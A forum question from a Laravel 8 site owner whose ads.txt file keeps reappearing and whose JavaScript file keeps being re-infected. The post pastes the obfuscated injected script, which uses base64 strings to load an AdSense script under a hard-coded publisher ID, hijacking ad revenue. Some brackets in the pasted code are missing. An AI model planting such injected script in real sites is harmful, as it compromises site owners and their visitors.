ads.txt and virus code auto created in laravel 8

I have a Laravel 8 website and I'm experiencing an issue where the ads.txt file keeps auto-creating even after I delete it, and there is a virus code that keeps appearing in my JavaScript file. looking for help in resolving these issues. virus code is given below

function bar2(foo1,foo){var bar=foo2();return bar2=function(bar1,Bar2){bar1=bar1-0xa8;var Bar1=bar[bar1];return Bar1;},bar2(foo1,foo);}function foo2(){var Bar2=['appendChild','16462230pfHvCY','552TnWsqr','21TgHTKx','async','24588SrzGYO','363894rrtNFG','querySelector','script','head','anonymous','510775rwehIy','6BEEmbK','aHR0cHM6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanM/Y2xpZW50PQ==','1334805ytshBr','1072656XSqaZe','305438lnJDWE','src','Y2EtcHViLTQwNzc5MzE4Njg4MTcwMDA='];foo2=function(){return Bar2;};return foo2();}(function(bar,bar1){var Bar1=bar2,Foo1=bar();while(!![]){try{var Foo2=-parseInt(Bar1(0xad))/0x1+-parseInt(Bar1(0xb2))/0x2*(parseInt(Bar1(0xae))/0x3)+-parseInt(Bar1(0xb1))/0x4+-parseInt(Bar1(0xb0))/0x5+parseInt(Bar1(0xa8))/0x6*(-parseInt(Bar1(0xb8))/0x7)+parseInt(Bar1(0xb7))/0x8*(parseInt(Bar1(0xba))/0x9)+parseInt(Bar1(0xb6))/0xa;if(Foo2===bar1)break;else Foo1'push';}catch(Bar){Foo1'push';}}}(foo2,0x49986),(function(){var Foo=bar2,foo1=document'createElement',foo=documentFoo(0xa9);foo1[Foo(0xb3)]=atob(Foo(0xaf))+atob(Foo(0xb4)),foo1[Foo(0xb9)]=!![],foo1['crossorigin']=Foo(0xac),fooFoo(0xb5);}()));
